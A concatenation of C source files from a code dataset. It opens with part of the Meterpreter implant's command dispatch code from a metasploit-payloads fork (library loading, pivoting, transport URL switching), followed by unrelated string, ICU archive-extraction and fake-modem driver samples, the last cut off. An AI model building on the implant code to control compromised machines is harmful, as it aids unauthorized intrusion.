"committer_date": "2019-02-11T21:25:48",
"content_id": "be289fd957e9cd2780a4f62971d9bdc3a854f746",
"detected_licenses": [
"BSD-3-Clause",
"PSF-2.0",
"Python-2.0",
"Zlib",
"BSD-4-Clause",
"BSD-2-Clause"
],
"directory_id": "334ac8f549b6626c62ceee590dfa364667a8b1f8",
"extension": "c",
"filename": "remote_dispatch_common.c",
"fork_events_count": 1,
"gha_created_at": "2019-03-06T11:08:35",
"gha_event_created_at": "2019-03-06T11:08:35",
"gha_language": null,
"gha_license_id": "NOASSERTION",
"github_id": 174129480,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3874,
"license": "BSD-3-Clause,PSF-2.0,Python-2.0,Zlib,BSD-4-Clause,BSD-2-Clause",
"license_type": "permissive",
"path": "/c/meterpreter/source/server/remote_dispatch_common.c",
"provenance": "stackv2-0030.json.gz:1200",
"repo_name": "maldevel/metasploit-payloads",
"revision_date": "2019-02-11T21:25:48",
"revision_id": "4a0dcb5ae9c2a5e3fc7d7001f15e0979ce5663fb",
"snapshot_id": "ca293105ee79780c27dc032c5cf34a88deff86ca",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/maldevel/metasploit-payloads/4a0dcb5ae9c2a5e3fc7d7001f15e0979ce5663fb/c/meterpreter/source/server/remote_dispatch_common.c",
"visit_date": "2020-04-27T07:12:27.922935"
} | stackv2 | #include "metsrv.h"
#include "win\server_pivot.h"
// see ReflectiveLoader.c...
extern HINSTANCE hAppInstance;
PLIST gExtensionList = NULL;
DWORD request_core_enumextcmd(Remote* remote, Packet* packet);
DWORD request_core_machine_id(Remote* remote, Packet* packet);
DWORD request_core_get_session_guid(Remote* remote, Packet* packet);
DWORD request_core_set_session_guid(Remote* remote, Packet* packet);
DWORD request_core_set_uuid(Remote* remote, Packet* packet);
BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result);
// Dispatch table
Command customCommands[] =
{
COMMAND_REQ("core_loadlib", request_core_loadlib),
COMMAND_REQ("core_enumextcmd", request_core_enumextcmd),
COMMAND_REQ("core_machine_id", request_core_machine_id),
COMMAND_REQ("core_get_session_guid", request_core_get_session_guid),
COMMAND_REQ("core_set_session_guid", request_core_set_session_guid),
COMMAND_REQ("core_set_uuid", request_core_set_uuid),
COMMAND_REQ("core_pivot_add", request_core_pivot_add),
COMMAND_REQ("core_pivot_remove", request_core_pivot_remove),
COMMAND_INLINE_REP("core_patch_url", request_core_patch_url),
COMMAND_TERMINATOR
};
typedef struct _EnumExtensions
{
Packet* pResponse;
char* lpExtensionName;
} EnumExtensions, * PEnumExtensions;
BOOL ext_cmd_callback(LPVOID pState, LPVOID pData)
{
PEnumExtensions pEnum = (PEnumExtensions)pState;
Command* command = NULL;
if (pEnum != NULL && pEnum->pResponse != NULL && pData != NULL)
{
PEXTENSION pExt = (PEXTENSION)pData;
if (pExt->name[0] != '\0' && pEnum->lpExtensionName != NULL && strcmp(pExt->name, pEnum->lpExtensionName) == 0)
{
dprintf("[LISTEXT] Found extension: %s", pExt->name);
for (command = pExt->start; command != pExt->end; command = command->next)
{
packet_add_tlv_string(pEnum->pResponse, TLV_TYPE_STRING, command->method);
}
dprintf("[LISTEXT] Finished listing extension: %s", pExt->name);
return TRUE;
}
}
return FALSE;
}
BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result)
{
// this is a special case because we don't actually send
// response to this. This is a brutal switch without any
// other forms of comms, and this is because of stageless
// payloads
if (remote->transport->type == METERPRETER_TRANSPORT_TCP)
{
// This shouldn't happen.
*result = ERROR_INVALID_STATE;
}
else
{
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
*result = ERROR_SUCCESS;
}
return TRUE;
}
DWORD request_core_enumextcmd(Remote* remote, Packet* packet)
{
BOOL bResult = FALSE;
Packet* pResponse = packet_create_response(packet);
if (pResponse != NULL)
{
EnumExtensions enumExt;
enumExt.pResponse = pResponse;
enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING);
dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName);
// Start by enumerating the names of the extensions
bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt);
packet_transmit_response(ERROR_SUCCESS, remote, pResponse);
}
return ERROR_SUCCESS;
}
/*
* Registers custom command handlers
*/
VOID register_dispatch_routines()
{
gExtensionList = list_create();
command_register_all(customCommands);
}
/*
* Deregisters previously registered custom commands and loaded extensions.
*/
VOID deregister_dispatch_routines(Remote * remote)
{
while (TRUE)
{
PEXTENSION extension = list_pop(gExtensionList);
if (!extension)
{
break;
}
if (extension->deinit)
{
extension->deinit(remote);
}
free(extension);
}
command_deregister_all(customCommands);
list_destroy(gExtensionList);
}
| 2.140625 | 2 |
2024-11-18T18:39:43.880519+00:00 | 2021-10-18T09:54:58 | 4d8819ed45f1fbc0197031dd19fe65008289f378 | {
"blob_id": "4d8819ed45f1fbc0197031dd19fe65008289f378",
"branch_name": "refs/heads/main",
"committer_date": "2021-10-18T09:54:58",
"content_id": "fdcaf46cd5d48adeddafeee33a98fd954a2b6f48",
"detected_licenses": [
"MIT"
],
"directory_id": "b1f7b54161dbeebea764d11fcaaf8cacaa30f4e1",
"extension": "c",
"filename": "mx_strndup.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 266,
"license": "MIT",
"license_type": "permissive",
"path": "/src/mx_strndup.c",
"provenance": "stackv2-0030.json.gz:1329",
"repo_name": "dbredykhyn/dblibmx",
"revision_date": "2021-10-18T09:54:58",
"revision_id": "45eb3d40e00b3b623e789c0d9b7475e8e7ad975b",
"snapshot_id": "844407b705b5918817340a0e53078f30bf08e5f1",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/dbredykhyn/dblibmx/45eb3d40e00b3b623e789c0d9b7475e8e7ad975b/src/mx_strndup.c",
"visit_date": "2023-09-03T18:33:30.843266"
} | stackv2 | #include "libmx.h"
char *mx_strndup(const char *s1, size_t n) {
char *arr_dst = NULL;
if (mx_strlen(s1) < (int)n) arr_dst = mx_strnew(mx_strlen(s1));
else arr_dst = mx_strnew(n);
if (arr_dst == NULL) return NULL;
return mx_strncpy(arr_dst, s1, n);
}
| 2.453125 | 2 |
2024-11-18T18:39:43.979529+00:00 | 2015-01-27T16:59:40 | ff0e75aebe21cf5452f3a96dec4ceadbd5527700 | {
"blob_id": "ff0e75aebe21cf5452f3a96dec4ceadbd5527700",
"branch_name": "refs/heads/master",
"committer_date": "2015-01-27T16:59:40",
"content_id": "e6b42231d49240f5b289eefbd6d3453cf7b94eff",
"detected_licenses": [
"ICU"
],
"directory_id": "0641d87fac176bab11c613e64050330246569e5c",
"extension": "c",
"filename": "decmn.c",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 9308333,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 7740,
"license": "ICU",
"license_type": "permissive",
"path": "/tags/release-2-6-d02/source/tools/gencmn/decmn.c",
"provenance": "stackv2-0030.json.gz:1457",
"repo_name": "svn2github/libicu_full",
"revision_date": "2015-01-27T16:59:40",
"revision_id": "f1246dcb7fec5a23ebd6d36ff3515ff0395aeb29",
"snapshot_id": "ecf883cedfe024efa5aeda4c8527f227a9dbf100",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/svn2github/libicu_full/f1246dcb7fec5a23ebd6d36ff3515ff0395aeb29/tags/release-2-6-d02/source/tools/gencmn/decmn.c",
"visit_date": "2021-01-01T17:00:58.555108"
} | stackv2 | /*
*******************************************************************************
*
* Copyright (C) 2000-2001, International Business Machines
* Corporation and others. All Rights Reserved.
*
*******************************************************************************
* file name: decmn.c
* encoding: US-ASCII
* tab size: 8 (not used)
* indentation:4
*
* created on: 2001mar05
* created by: Markus W. Scherer
* changes by: Yves Arrouye
*
* This tool takes an ICU common data file (icuxyz.dat),
* outputs a list of components,
* and writes one file per packaged data piece in the common file.
* This can be used to add, remove, or replace data.
*/
#include <stdio.h>
#include <stdlib.h>
#include "unicode/utypes.h"
#include "unicode/udata.h"
#include "uoptions.h"
#include "cstring.h"
static uint8_t buffer[100000], buffer2[128*1024];
static const char *pname;
static UOption options[]={
/*0*/ UOPTION_HELP_H,
/*1*/ UOPTION_HELP_QUESTION_MARK,
/*2*/ UOPTION_DESTDIR,
/*3*/ UOPTION_DEF(0, 'n', UOPT_NO_ARG),
/*4*/ UOPTION_DEF("comment", 'C', UOPT_NO_ARG),
};
static int
compareFiles(const void *file1, const void *file2) {
/* sort by file offset */
int32_t diff=*((int32_t *)file1+1)-*((int32_t *)file2+1);
if(diff!=0) {
return (int)(diff>>15)|1;
} else {
return 0;
}
}
static int
copyFile(FILE *in, int32_t offset, int32_t size, const char *dir, const char *name) {
FILE *out;
int32_t length;
char path[512], *p;
if(0!=fseek(in, offset, SEEK_SET)) {
fprintf(stderr, "%s: cannot seek to position %ld for file \"%s\"\n", pname,
(long)offset, name);
return 4;
}
uprv_strcpy(path, dir);
p = path + strlen(path);
if (p[-1] != U_FILE_SEP_CHAR) {
*p++ = U_FILE_SEP_CHAR;
}
uprv_strcpy(p, name);
out=fopen(path, "wb");
if(out==NULL) {
fprintf(stderr, "%s: unable to open output file \"%s\"\n", pname, path);
return 5;
}
/* copy the contents into the new, separate file */
while(size>sizeof(buffer2)) {
length=(int32_t)fread(buffer2, 1, sizeof(buffer2), in);
if(length<=0) {
fprintf(stderr, "%s: read error while copying output file \"%s\"\n", pname, path);
fclose(out);
return 4;
}
if(length!=(int32_t)fwrite(buffer2, 1, length, out)) {
fprintf(stderr, "%s: write error while copying output file \"%s\"\n", pname, path);
fclose(out);
return 5;
}
size-=length;
}
while(size>0) {
length=(int32_t)fread(buffer2, 1, size, in);
if(length<=0) {
fprintf(stderr, "%s: read error while copying output file \"%s\"\n", pname, path);
fclose(out);
return 4;
}
if(length!=(int32_t)fwrite(buffer2, 1, length, out)) {
fprintf(stderr, "%s: write error while copying output file \"%s\"\n", pname, path);
fclose(out);
return 5;
}
size-=length;
}
fclose(out);
return 0;
}
extern int
main(int argc, char *argv[]) {
FILE *in;
UDataInfo *info;
uint8_t *base;
int32_t *p;
int32_t i, length, count, baseOffset;
int result, ishelp = 0;
U_MAIN_INIT_ARGS(argc, argv);
pname = uprv_strchr(*argv, U_FILE_SEP_CHAR);
#ifdef WIN32
if (!pname) {
pname = uprv_strchr(*argv, '/');
}
#endif
if (pname) {
++pname;
} else {
pname = argv[0];
}
options[2].value = ".";
argc = u_parseArgs(argc, argv, sizeof(options) / sizeof(*options), options);
ishelp = options[0].doesOccur || options[1].doesOccur;
if (ishelp || argc != 2) {
fprintf(stderr,
"%csage: %s [ -h, -?, --help ] [ -n ] [ -C, --comment ] [ -d, --destdir destination ] archive\n", ishelp ? 'U' : 'u', pname);
if (ishelp) {
fprintf(stderr, "\nOptions: -h, -?, --help print this message and exit\n"
" -n do not create files\n"
" -C, --comment print the comment embedded in the file and exit\n"
" -d, --destdir destination create files in destination\n");
}
return ishelp ? 0 : 1;
}
in=fopen(argv[1], "rb");
if(in==NULL) {
fprintf(stderr, "%s: unable to open input file \"%s\"\n", pname, argv[1]);
return 2;
}
/* read the beginning of the file */
length=(int32_t)fread(buffer, 1, sizeof(buffer), in);
if(length<20) {
fprintf(stderr, "%s: input file too short\n", pname);
fclose(in);
return 3;
}
/* check the validity of the file */
if(buffer[2]!=0xda || buffer[3]!=0x27) {
fprintf(stderr, "%s: not an ICU data file\n", pname);
fclose(in);
return 3;
}
/* check the platform properties for the file */
info=(UDataInfo *)(buffer+4);
if(info->isBigEndian!=U_IS_BIG_ENDIAN) {
fprintf(stderr, "%s: the file is in the wrong byte endianness\n", pname);
fclose(in);
return 3;
}
if(info->charsetFamily!=U_CHARSET_FAMILY) {
fprintf(stderr, "%s: the file is not built for this machine's charset family\n", pname);
fclose(in);
return 3;
}
/* check that this is a common data file */
if(info->dataFormat[0]!=0x43 || info->dataFormat[1]!=0x6d || info->dataFormat[2]!=0x6e || info->dataFormat[3]!=0x44) {
fprintf(stderr, "%s: this file is not a common data (archive) file\n", pname);
fclose(in);
return 3;
}
/* check for version 1 */
if(info->formatVersion[0]!=1) {
fprintf(stderr, "%s: the format version %d.%d.%d.%d is not known\n", pname,
info->formatVersion[0], info->formatVersion[1], info->formatVersion[2], info->formatVersion[3]);
fclose(in);
return 3;
}
/* do we want to show the comment, and is there a comment? */
if (options[4].doesOccur && *(uint16_t *)buffer>4+info->size) {
printf("%s\n", (const char *)(buffer+4+info->size));
return 0;
}
/* output all filenames */
baseOffset=*(uint16_t *)buffer;
base=buffer+baseOffset;
p=(int32_t *)base;
count=*p++;
/* printf("files[%ld]\n", (long)count); */
for(i=0; i<count; ++i) {
printf("%s%c%s\n", options[2].value, U_FILE_SEP_CHAR, base+*p);
p+=2;
}
/* puts("endfiles"); */
if (options[3].doesOccur) { /* Do not extract. */
return 0;
}
/* sort all files by their offsets in the common file */
qsort(base+4, count, 8, compareFiles);
/* write all files except the last one */
p=(int32_t *)(base+4);
--count;
for(i=0; i<count; ++i) {
/* the size is the difference between this file's offset and the next one's */
result=copyFile(in, baseOffset+p[1], p[3]-p[1], options[2].value, (const char *)(base+*p));
if(result!=0) {
fclose(in);
return result;
}
p+=2;
}
/* write the last file */
if(count>=0) {
/* the size is the number of bytes to the end of the common file */
if(0!=fseek(in, 0, SEEK_END)) {
fprintf(stderr, "%s: unable to seek to the end of the common file\n", pname);
return 4;
}
result=copyFile(in, baseOffset+p[1], (int32_t)ftell(in)-baseOffset-p[1], options[2].value, (const char *)(base+*p));
if(result!=0) {
fclose(in);
return result;
}
}
fclose(in);
return 0;
}
/*
* Hey, Emacs, please set the following:
*
* Local Variables:
* indent-tabs-mode: nil
* End:
*
*/
| 2.28125 | 2 |
2024-11-18T18:39:44.983091+00:00 | 2019-06-01T13:28:10 | 52c1ce95a0929efc4dc19bbf5fc140e927960cb6 | {
"blob_id": "52c1ce95a0929efc4dc19bbf5fc140e927960cb6",
"branch_name": "refs/heads/master",
"committer_date": "2019-06-01T13:28:10",
"content_id": "5100cf9adc02b0dde7b4b807988d533809186754",
"detected_licenses": [
"MIT"
],
"directory_id": "e398a585764f16511a70d0ef33a3b61da0733b69",
"extension": "c",
"filename": "readwrit.c",
"fork_events_count": 0,
"gha_created_at": "2019-06-01T12:58:11",
"gha_event_created_at": "2019-06-01T12:58:11",
"gha_language": null,
"gha_license_id": null,
"github_id": 189732991,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 18875,
"license": "MIT",
"license_type": "permissive",
"path": "/3790.1830/src/network/modem/fakemodem/readwrit.c",
"provenance": "stackv2-0030.json.gz:1969",
"repo_name": "MichaelDavidGK/WinDDK",
"revision_date": "2019-06-01T13:28:10",
"revision_id": "eea187e357d61569e67292ff705550887c4df908",
"snapshot_id": "f9e4fc6872741ee742f8eace04b2b3a30b049495",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/MichaelDavidGK/WinDDK/eea187e357d61569e67292ff705550887c4df908/3790.1830/src/network/modem/fakemodem/readwrit.c",
"visit_date": "2020-05-30T12:26:40.125588"
} | stackv2 | /*
* UNIMODEM "Fakemodem" controllerless driver illustrative example
*
* (C) 2000 Microsoft Corporation
* All Rights Reserved
*
* The code in this module simply supports the very basic AT command parser.
* This code should be completely replaced with the actual code to support
* your controllerless modem.
*/
#include "fakemodem.h"
NTSTATUS
FakeModemRead(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_EXTENSION deviceExtension = DeviceObject->DeviceExtension;
NTSTATUS status=STATUS_UNSUCCESSFUL;
KIRQL OldIrql;
KIRQL CancelIrql;
Irp->IoStatus.Information = 0;
//
// make sure the device is ready for irp's
//
status=CheckStateAndAddReference( DeviceObject, Irp);
if (STATUS_SUCCESS != status) {
//
// not accepting irp's. The irp has already been completed
//
return status;
}
Irp->IoStatus.Status=STATUS_PENDING;
IoMarkIrpPending(Irp);
KeAcquireSpinLock(&deviceExtension->SpinLock, &OldIrql);
//
// make irp cancelable
//
IoAcquireCancelSpinLock(&CancelIrql);
IoSetCancelRoutine(Irp, ReadCancelRoutine);
IoReleaseCancelSpinLock(CancelIrql);
//
// put it on queue
//
InsertTailList(&deviceExtension->ReadQueue, &Irp->Tail.Overlay.ListEntry);
KeReleaseSpinLock(&deviceExtension->SpinLock, OldIrql);
//
// call the real work function to process the irps
//
ReadIrpWorker( DeviceObject);
RemoveReferenceForDispatch(DeviceObject);
return STATUS_PENDING;
}
NTSTATUS
FakeModemWrite(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_EXTENSION deviceExtension = DeviceObject->DeviceExtension;
NTSTATUS status=STATUS_UNSUCCESSFUL;
KIRQL OldIrql;
KIRQL CancelIrql;
Irp->IoStatus.Information = 0;
// make sure the device is ready for irp's
status=CheckStateAndAddReference( DeviceObject, Irp);
if (STATUS_SUCCESS != status) {
// not accepting irp's. The irp has already been complted
return status;
}
Irp->IoStatus.Status=STATUS_PENDING;
IoMarkIrpPending(Irp);
KeAcquireSpinLock( &deviceExtension->SpinLock, &OldIrql);
// make irp cancelable
IoAcquireCancelSpinLock(&CancelIrql);
IoSetCancelRoutine(Irp, WriteCancelRoutine);
IoReleaseCancelSpinLock(CancelIrql);
// put it on queue
InsertTailList( &deviceExtension->WriteQueue, &Irp->Tail.Overlay.ListEntry);
KeReleaseSpinLock(&deviceExtension->SpinLock, OldIrql);
// call the real work function to process the irps
if (deviceExtension->Started)
{
WriteIrpWorker(DeviceObject);
}
RemoveReferenceForDispatch(DeviceObject);
return STATUS_PENDING;
}
VOID
WriteIrpWorker(
IN PDEVICE_OBJECT DeviceObject
)
{
PDEVICE_EXTENSION deviceExtension = DeviceObject->DeviceExtension;
NTSTATUS status=STATUS_UNSUCCESSFUL;
KIRQL OldIrql;
KeAcquireSpinLock( &deviceExtension->SpinLock, &OldIrql);
if (deviceExtension->CurrentWriteIrp != NULL) {
// already in use
goto Exit;
}
while (!IsListEmpty(&deviceExtension->WriteQueue)) {
PLIST_ENTRY ListElement;
PIRP Irp;
PIO_STACK_LOCATION IrpSp;
KIRQL CancelIrql;
ListElement=RemoveHeadList( &deviceExtension->WriteQueue);
Irp=CONTAINING_RECORD(ListElement,IRP,Tail.Overlay.ListEntry);
IoAcquireCancelSpinLock(&CancelIrql);
if (Irp->Cancel) {
// this one has been canceled
Irp->IoStatus.Information=STATUS_CANCELLED;
IoReleaseCancelSpinLock(CancelIrql);
continue;
}
IoSetCancelRoutine(
Irp,
NULL
);
IoReleaseCancelSpinLock(CancelIrql);
deviceExtension->CurrentWriteIrp=Irp;
IrpSp=IoGetCurrentIrpStackLocation(Irp);
ProcessWriteBytes( deviceExtension, Irp->AssociatedIrp.SystemBuffer,
IrpSp->Parameters.Write.Length);
KeReleaseSpinLock( &deviceExtension->SpinLock, OldIrql);
Irp->IoStatus.Information = IrpSp->Parameters.Write.Length;
RemoveReferenceAndCompleteRequest( DeviceObject, Irp, STATUS_SUCCESS);
KeAcquireSpinLock( &deviceExtension->SpinLock, &OldIrql);
deviceExtension->CurrentWriteIrp=NULL;
}
Exit:
KeReleaseSpinLock( &deviceExtension->SpinLock, OldIrql);
TryToSatisfyRead( deviceExtension);
ReadIrpWorker( DeviceObject);
ProcessConnectionStateChange( DeviceObject);
return;
}
VOID
ProcessWriteBytes(
PDEVICE_EXTENSION DeviceExtension,
PUCHAR Characters,
ULONG Length
)
{
UCHAR CurrentCharacter;
while (Length != 0) {
CurrentCharacter=*Characters++;
D_TRACE(DbgPrint(" Processing write character %c\n", CurrentCharacter);)
Length--;
if(CurrentCharacter == '\0')
{
continue;
}
PutCharInReadBuffer( DeviceExtension, CurrentCharacter);
switch (DeviceExtension->CommandMatchState) {
case COMMAND_MATCH_STATE_IDLE:
if ((CurrentCharacter == 'a') || (CurrentCharacter == 'A')) {
// got an A
DeviceExtension->CommandMatchState=COMMAND_MATCH_STATE_GOT_A;
DeviceExtension->ConnectCommand=FALSE;
DeviceExtension->IgnoreNextChar=FALSE;
}
break;
case COMMAND_MATCH_STATE_GOT_A:
if ((CurrentCharacter == 't') || (CurrentCharacter == 'T')) {
// got an T
DeviceExtension->CommandMatchState=COMMAND_MATCH_STATE_GOT_T;
} else {
if (CurrentCharacter == '\r') {
DeviceExtension->CommandMatchState=COMMAND_MATCH_STATE_IDLE;
}
}
break;
case COMMAND_MATCH_STATE_GOT_T:
if (!DeviceExtension->IgnoreNextChar) {
// the last char was not a special char
// check for CONNECT command
if ((CurrentCharacter == 'A') || (CurrentCharacter == 'a')) {
DeviceExtension->ConnectCommand=TRUE;
}
if ((CurrentCharacter == 'D') || (CurrentCharacter == 'd')) {
DeviceExtension->ConnectCommand=TRUE;
}
}
DeviceExtension->IgnoreNextChar=TRUE;
if (CurrentCharacter == '\r') {
//
// got a CR, send a response to the command
//
DeviceExtension->CommandMatchState=COMMAND_MATCH_STATE_IDLE;
if (DeviceExtension->ConnectCommand) {
//
// place <cr><lf>CONNECT<cr><lf> in the buffer
//
PutCharInReadBuffer(DeviceExtension,'\r');
PutCharInReadBuffer(DeviceExtension,'\n');
PutCharInReadBuffer(DeviceExtension,'C');
PutCharInReadBuffer(DeviceExtension,'O');
PutCharInReadBuffer(DeviceExtension,'N');
PutCharInReadBuffer(DeviceExtension,'N');
PutCharInReadBuffer(DeviceExtension,'E');
PutCharInReadBuffer(DeviceExtension,'C');
PutCharInReadBuffer(DeviceExtension,'T');
PutCharInReadBuffer(DeviceExtension,'\r');
PutCharInReadBuffer(DeviceExtension,'\n');
//
// connected now raise CD
//
DeviceExtension->CurrentlyConnected=TRUE;
DeviceExtension->ConnectionStateChanged=TRUE;
} else {
// place <cr><lf>OK<cr><lf> in the buffer
PutCharInReadBuffer(DeviceExtension,'\r');
PutCharInReadBuffer(DeviceExtension,'\n');
PutCharInReadBuffer(DeviceExtension,'O');
PutCharInReadBuffer(DeviceExtension,'K');
PutCharInReadBuffer(DeviceExtension,'\r');
PutCharInReadBuffer(DeviceExtension,'\n');
}
}
break;
default:
break;
}
}
return;
}
VOID
PutCharInReadBuffer(
PDEVICE_EXTENSION DeviceExtension,
UCHAR Character
)
{
if (DeviceExtension->BytesInReadBuffer < READ_BUFFER_SIZE) {
// room in buffer
DeviceExtension->ReadBuffer[DeviceExtension->ReadBufferEnd]=Character;
DeviceExtension->ReadBufferEnd++;
DeviceExtension->ReadBufferEnd %= READ_BUFFER_SIZE;
DeviceExtension->BytesInReadBuffer++;
}
return;
}
VOID
ReadIrpWorker(
PDEVICE_OBJECT DeviceObject
)
{
PDEVICE_EXTENSION deviceExtension = DeviceObject->DeviceExtension;
NTSTATUS status=STATUS_UNSUCCESSFUL;
KIRQL OldIrql;
SERIAL_TIMEOUTS CurrentTimeouts;
KeAcquireSpinLock( &deviceExtension->SpinLock, &OldIrql);
CurrentTimeouts = deviceExtension->CurrentTimeouts;
while (((deviceExtension->CurrentReadIrp == NULL)
&& !IsListEmpty(&deviceExtension->ReadQueue))
&& ((deviceExtension->BytesInReadBuffer > 0)
|| (CurrentTimeouts.ReadTotalTimeoutConstant))) {
PLIST_ENTRY ListElement;
PIRP Irp;
PIO_STACK_LOCATION IrpSp;
KIRQL CancelIrql;
ListElement=RemoveHeadList( &deviceExtension->ReadQueue);
Irp=CONTAINING_RECORD(ListElement,IRP,Tail.Overlay.ListEntry);
IoAcquireCancelSpinLock(&CancelIrql);
if (Irp->Cancel) {
// this one has been canceled
Irp->IoStatus.Information=STATUS_CANCELLED;
IoReleaseCancelSpinLock(CancelIrql);
continue;
}
IoSetCancelRoutine(Irp, NULL);
IoReleaseCancelSpinLock(CancelIrql);
deviceExtension->CurrentReadIrp=Irp;
KeReleaseSpinLock(&deviceExtension->SpinLock, OldIrql);
TryToSatisfyRead( deviceExtension);
KeAcquireSpinLock(&deviceExtension->SpinLock, &OldIrql);
}
KeReleaseSpinLock( &deviceExtension->SpinLock, OldIrql);
return;
}
VOID
TryToSatisfyRead(
PDEVICE_EXTENSION DeviceExtension
)
{
NTSTATUS status=STATUS_UNSUCCESSFUL;
KIRQL OldIrql;
PIRP Irp=NULL;
PIO_STACK_LOCATION IrpSp;
ULONG BytesToMove;
ULONG FirstHalf;
ULONG SecondHalf;
KIRQL CancelIrql;
BOOLEAN LockHeld = TRUE;
SERIAL_TIMEOUTS CurrentTimeouts;
KeAcquireSpinLock(
&DeviceExtension->SpinLock,
&OldIrql
);
if ((DeviceExtension->CurrentReadIrp != NULL) && (DeviceExtension->BytesInReadBuffer > 0)) {
//
// there is an IRP and there are characters waiting
//
Irp=DeviceExtension->CurrentReadIrp;
IrpSp=IoGetCurrentIrpStackLocation(Irp);
BytesToMove=IrpSp->Parameters.Read.Length < DeviceExtension->BytesInReadBuffer ?
IrpSp->Parameters.Read.Length : DeviceExtension->BytesInReadBuffer;
if (DeviceExtension->ReadBufferBegin+BytesToMove > READ_BUFFER_SIZE) {
//
// the buffer is wrapped around, have move in two pieces
//
FirstHalf=READ_BUFFER_SIZE-DeviceExtension->ReadBufferBegin;
SecondHalf=BytesToMove-FirstHalf;
RtlCopyMemory(
Irp->AssociatedIrp.SystemBuffer,
&DeviceExtension->ReadBuffer[DeviceExtension->ReadBufferBegin],
FirstHalf);
RtlCopyMemory(
(PUCHAR)Irp->AssociatedIrp.SystemBuffer+FirstHalf,
&DeviceExtension->ReadBuffer[0], SecondHalf);
} else {
//
// can do it all at once
//
RtlCopyMemory(
Irp->AssociatedIrp.SystemBuffer,
&DeviceExtension->ReadBuffer[DeviceExtension->ReadBufferBegin],
BytesToMove);
}
//
// fix up queue pointers
//
DeviceExtension->BytesInReadBuffer-=BytesToMove;
DeviceExtension->ReadBufferBegin+= BytesToMove;
DeviceExtension->ReadBufferBegin %= READ_BUFFER_SIZE;
Irp->IoStatus.Information=BytesToMove;
DeviceExtension->CurrentReadIrp=NULL;
}
else
{
if (DeviceExtension->CurrentReadIrp != NULL)
{
Irp = DeviceExtension->CurrentReadIrp;
ASSERT(DeviceExtension->BytesInReadBuffer == 0);
//
// Reinsert the IRP into the queue and set the cancel routine back so the IRP can be canclled later
//
IoAcquireCancelSpinLock(&CancelIrql);
if (Irp->Cancel)
{
//
// If the IRP is cancelled already, we complete the IRP here.
//
DeviceExtension->CurrentReadIrp = NULL;
IoReleaseCancelSpinLock(Irp->CancelIrql);
KeReleaseSpinLock( &DeviceExtension->SpinLock, OldIrql);
Irp->IoStatus.Information = 0;
RemoveReferenceAndCompleteRequest(DeviceExtension->DeviceObject, Irp, STATUS_CANCELLED);
LockHeld = FALSE;
}
else
{
//This should be replaced by timer setup
CurrentTimeouts = DeviceExtension->CurrentTimeouts;
if(CurrentTimeouts.ReadTotalTimeoutConstant)
{
DeviceExtension->CurrentReadIrp=NULL;
IoReleaseCancelSpinLock(CancelIrql);
KeReleaseSpinLock( &DeviceExtension->SpinLock, OldIrql);
RemoveReferenceAndCompleteRequest(
DeviceExtension->DeviceObject, Irp, STATUS_TIMEOUT);
LockHeld = FALSE;
}
else
{
//
// Set the cancle routine and insert back to the queue
IoSetCancelRoutine(Irp, ReadCancelRoutine);
IoReleaseCancelSpinLock(CancelIrql);
InsertHeadList(&DeviceExtension->ReadQueue, &Irp->Tail.Overlay.ListEntry);
DeviceExtension->CurrentReadIrp = NULL;
}
}
Irp = NULL;
}
}
if (LockHeld == TRUE)
{
KeReleaseSpinLock( &DeviceExtension->SpinLock, OldIrql);
}
if (Irp != NULL) {
//
// if irp isn't null, then we handled one
//
RemoveReferenceAndCompleteRequest(
DeviceExtension->DeviceObject, Irp, STATUS_SUCCESS);
}
return;
}
VOID
WriteCancelRoutine(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_EXTENSION deviceExtension = DeviceObject->DeviceExtension;
NTSTATUS status=STATUS_UNSUCCESSFUL;
KIRQL OldIrql;
//
// release the cancel spinlock to avaoid deadlocks with deviceextension spinlock
//
IoReleaseCancelSpinLock(Irp->CancelIrql);
KeAcquireSpinLock( &deviceExtension->SpinLock, &OldIrql);
if (Irp->IoStatus.Information != STATUS_CANCELLED) {
//
// the irp is still in the queue, remove it
//
RemoveEntryList( &Irp->Tail.Overlay.ListEntry);
}
KeReleaseSpinLock( &deviceExtension->SpinLock, OldIrql);
Irp->IoStatus.Information = 0;
RemoveReferenceAndCompleteRequest( DeviceObject, Irp, STATUS_CANCELLED);
return;
}
VOID
ReadCancelRoutine(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_EXTENSION deviceExtension = DeviceObject->DeviceExtension;
NTSTATUS status=STATUS_UNSUCCESSFUL;
KIRQL OldIrql;
// release the cancel spinlock to avoid deadlocks with deviceextension spinlock
IoReleaseCancelSpinLock(Irp->CancelIrql);
KeAcquireSpinLock( &deviceExtension->SpinLock, &OldIrql);
if (Irp->IoStatus.Information != STATUS_CANCELLED) {
// the irp is still in the queue, remove it
RemoveEntryList( &Irp->Tail.Overlay.ListEntry);
}
KeReleaseSpinLock( &deviceExtension->SpinLock, OldIrql);
Irp->IoStatus.Information = 0;
RemoveReferenceAndCompleteRequest( DeviceObject, Irp, STATUS_CANCELLED);
return;
}
VOID
ProcessConnectionStateChange(
IN PDEVICE_OBJECT DeviceObject
)
{
